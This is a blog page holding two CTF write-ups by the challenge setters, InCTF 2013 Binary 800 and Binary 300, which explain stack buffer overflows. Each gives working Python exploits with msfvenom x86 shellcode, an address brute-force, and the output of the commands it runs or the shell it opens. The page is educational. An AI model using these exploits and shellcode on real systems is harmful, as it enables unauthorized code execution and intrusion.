Showing posts with label InCTF. Show all posts
Showing posts with label InCTF. Show all posts

Wednesday, June 12, 2013

InCTF 2013 Quals - Binary 800

This again is a challenge we set for InCTF Quals. The idea was inspired by the service Maya written for previous edition of InCTF. Service listens on port 6666. Participants were given the memory map of process, which shows absence of ASLR and NX. No other information was given. Here is the intented way of solving the challenge

Try connecting to the service. We get a bad request message
[ctf@renorobert InCTF]$ nc 127.0.0.1 6666
qwerty
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('qwerty').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>
Now lets figure out whats running on port 6666 using nmap
[ctf@renorobert InCTF]$ nmap -A 127.0.0.1 -p6666
........................................
PORT     STATE SERVICE VERSION
6666/tcp open  http    Python SimpleXMLRPCServer (BaseHTTP 0.3; Python 2.7.3)
|_html-title: Error response
Nmap shows Python SimpleXMLRPCServer running on port 6666. Here is the python wrapper thats running the binary
#!/usr/bin/env python

from SimpleXMLRPCServer import SimpleXMLRPCServer
import subprocess
import signal

def encrypt(arg):
    data = subprocess.Popen(['./service', str(arg)], stdout=subprocess.PIPE, env=None, close_fds=True,)
    return data.stdout.read()

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
server = SimpleXMLRPCServer(("0.0.0.0", 6666), allow_none=True)
server.register_introspection_functions()
server.register_function(encrypt)
server.logRequests = 0
server.serve_forever()
Some information from python docs:
SimpleXMLRPCServer.register_function(function[, name])
Register a function that can respond to XML-RPC requests

SimpleXMLRPCServer.register_introspection_functions()
Registers the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature
[*] Our python service registers function 'encrypt' to respond to XML-RPC requests
[*] We also register the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature. This helps to identify the registered function remotely

Now we have to use python's xmlrpclib to connect to the service
[*] First find the registered function remotely
[*] Then find the number of arguments it takes
[*] Then try calling the function to understand its working

Finding the registered function:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
Finding the number of arguments:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
print s.encrypt()
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
Traceback (most recent call last):
  File "fuzz.py", line 9, in <module>
    print s.encrypt()
..............................................
xmlrpclib.Fault: <Fault 1: "<type 'exceptions.TypeError'>:encrypt() takes exactly 1 argument (0 given)">
We get a nice error message saying we need exactly one argument and 0 given.
Call the function:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
buffer="A"*100
print s.encrypt(buffer)
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Now we get proper response from the service. The binary is very simple, it does caesar shift. When we send 160 bytes of data, there is no response
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']

[ctf@renorobert InCTF]$
Now thats a crash. Since ASLR is disabled and the given memory map reveals that the executable is 32-bit, one can bruteforce the stack address. Here is the idea of exploit:
[*] Bruteforce the stack address and overwrite the EIP
[*] Use a huge NOP sled, followed by shellcode
[*] When right address is hit during bruteforce, shellcode is executed
[*] Avoid NUL byte in shellcode and the address used

Below is the exploit:
#!/usr/bin/env python

import xmlrpclib
import struct
import time

# msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00'

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" +
             "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" +
             "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" +
             "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" +
             "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" +
             "\x0a\x76\xf3\xb2")

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=True)
nop = struct.pack("B", 0x90)
junk = "A"*128

for i in range(100):
    time.sleep(0.5)
    address = 0xffffe000 - 0x302 * i
    if address > 0xfffe9000:
        print hex(address)
        ret = struct.pack("<I", address)
        payload = junk + ret * 40 + nop * 1000 + shellcode
        try:
            print s.encrypt(payload)
        except:
            continue
Running the exploit with verbose set to True, we got the below response:
reply: 'HTTP/1.0 200 OK\r\n'
header: Server: BaseHTTP/0.3 Python/2.7.3
header: Date: Tue, 11 Jun 2013 17:55:03 GMT
header: Content-type: text/xml
header: Content-length: 351
body: "<?xml version='1.0'?>\n<methodResponse>\n<fault>\n<value><struct>\n<member>\n<name>faultCode</name>\n<value><int>1</int></value>\n</member>\n<member>\n<name>faultString</name>\n<value><string><class 'xml.parsers.expat.ExpatError'>:not well-formed (invalid token): line 6, column 143</string></value>\n</member>\n</struct></value>\n</fault>\n</methodResponse>\n"
Thats a error message saying not well-formed. So our XML is not well formed, we have to figure out a way to overcome this. Here is something from python docs
When passing strings, characters special to XML such as <, >, and & will be automatically escaped. However, it’s the caller’s responsibility to ensure that the string is free of characters that aren’t allowed in XML, such as the control characters with ASCII values between 0 and 31 (except, of course, tab, newline and carriage return); failing to do this will result in an XML-RPC request that isn’t well-formed XML. If you have to pass arbitrary strings via XML-RPC, use the Binary wrapper class
So lets encode our payload to base64. Here is our final exploit
#!/usr/bin/env python

import xmlrpclib
import struct
import time

# msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00'

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" +
             "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" +
             "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" +
             "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" +
             "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" +
             "\x0a\x76\xf3\xb2")

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=0)
nop = struct.pack("B", 0x90)
junk = "A"*128

for i in range(100):
    time.sleep(0.5)
    address = 0xffffe000 - 0x302 * i
    if address > 0xfffe9000:
        print hex(address)
        ret = struct.pack("<I", address)
        payload = junk + ret * 40 + nop * 1000 + shellcode
        encoded = xmlrpclib.Binary(payload) # encode payload
        try:
            print s.encrypt(encoded)
        except:
            continue
[ctf@renorobert InCTF]$ python bin800.py
0xffffe000
0xffffdcfe

0xffffd9fc

0xffffd6fa

0xffffd3f8
uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

0xffffd0f6
uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

0xffffcdf4

0xffffcaf2
We successfully executed our shellcode!

InCTF 2013 Quals - Binary 300

This is a challenge that we set for InCTF Quals, a national level contest for students. We had a ELF 32-bit LSB executable, running on a 64-bit machine. The source code was provided to the participants. Since we had only few solvers, I thought of making a writeup
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void two() {
    char buf[1024];
    char *pass;
    char *fail = NULL;
    if(pass)
        strcpy(buf, pass);
}

void one(char *arg) {
    char buf[4096];
    memset(buf, 0x00, sizeof(buf));
    strncpy(buf, arg, sizeof(buf)-1);
}

int main(int argc, char **argv) {
    if(argc != 2)
        exit(-1);
    one(argv[1]);
    two();
    return 0;
}
Both ASLR and NX were turned off. Vulnerability is easy to spot from code

[*] When function one() is called stack is filled with argv[1], this content remains in stack
[*] Function two() has an uninitialized pointer. This pointer is initialized with content already present in stack
[*] By controlling the value of uninitialized pointer, we can overwrite saved EIP using the strcpy() call

One can view the stack address as:
Breakpoint 1, 0x08048536 in main ()
(gdb) info program 
 Using the running image of child process 11166.
Program stopped at 0x8048536.
It stopped at breakpoint 1.
(gdb) shell cat /proc/11166/maps
........................................
f7fe0000-f7fe1000 rwxp 00000000 00:00 0 
f7ffc000-f7ffd000 rwxp 00000000 00:00 0 
f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffe9000-ffffe000 rwxp 00000000 00:00 0                                  [stack]
Since ASLR is disabled we can exactly compute the address of shellcode in stack. There is a interesting point, though the binary was compiled as 32-bit using gcc -m32 flag in 64-bit operating system, the size of void pointer pushed into stack is still of size 8 bytes instead of 4 bytes.
(gdb) x/2wx 0xffffe000-0x8
0xffffdff8: 0x00000000 0x00000000
With the above information we can build the exploit to get shell
#!/usr/bin/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xd9\xc6\xb8\x76\xee\x8c\x5a\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x31\x46\x1a\x83\xee\xfc\x03\x46\x16\xe2\x83\x84" +
             "\x87\x02\xf2\x0b\xfe\xda\x29\xcf\x77\xfd\x59\x20\xfb\x6a" +
             "\x99\x56\xd4\x08\xf0\xc8\xa3\x2e\x50\xfd\xbc\xb0\x54\xfd" +
             "\x93\xd2\x3d\x93\xc4\x61\xd5\x6b\x4c\xd5\xac\x8d\xbf\x59" )

vuln = "./bin300"

shell_addr = 0xffffe000 - 0x8 - len(vuln) - len(shellcode) - 0x2
two_buf = "A"*1024 + struct.pack("<I",shell_addr) * 50

env_var = two_buf + shellcode
two_buf_addr = 0xffffe000 - 0x8 - len(vuln) - len(env_var) - 0x2
arg = struct.pack("<I",two_buf_addr) * 1024

env = {"":env_var}

os.execve(vuln,[vuln,arg],env)
[ctf@renorobert InCTF]$ python bin300.py 
sh-4.1#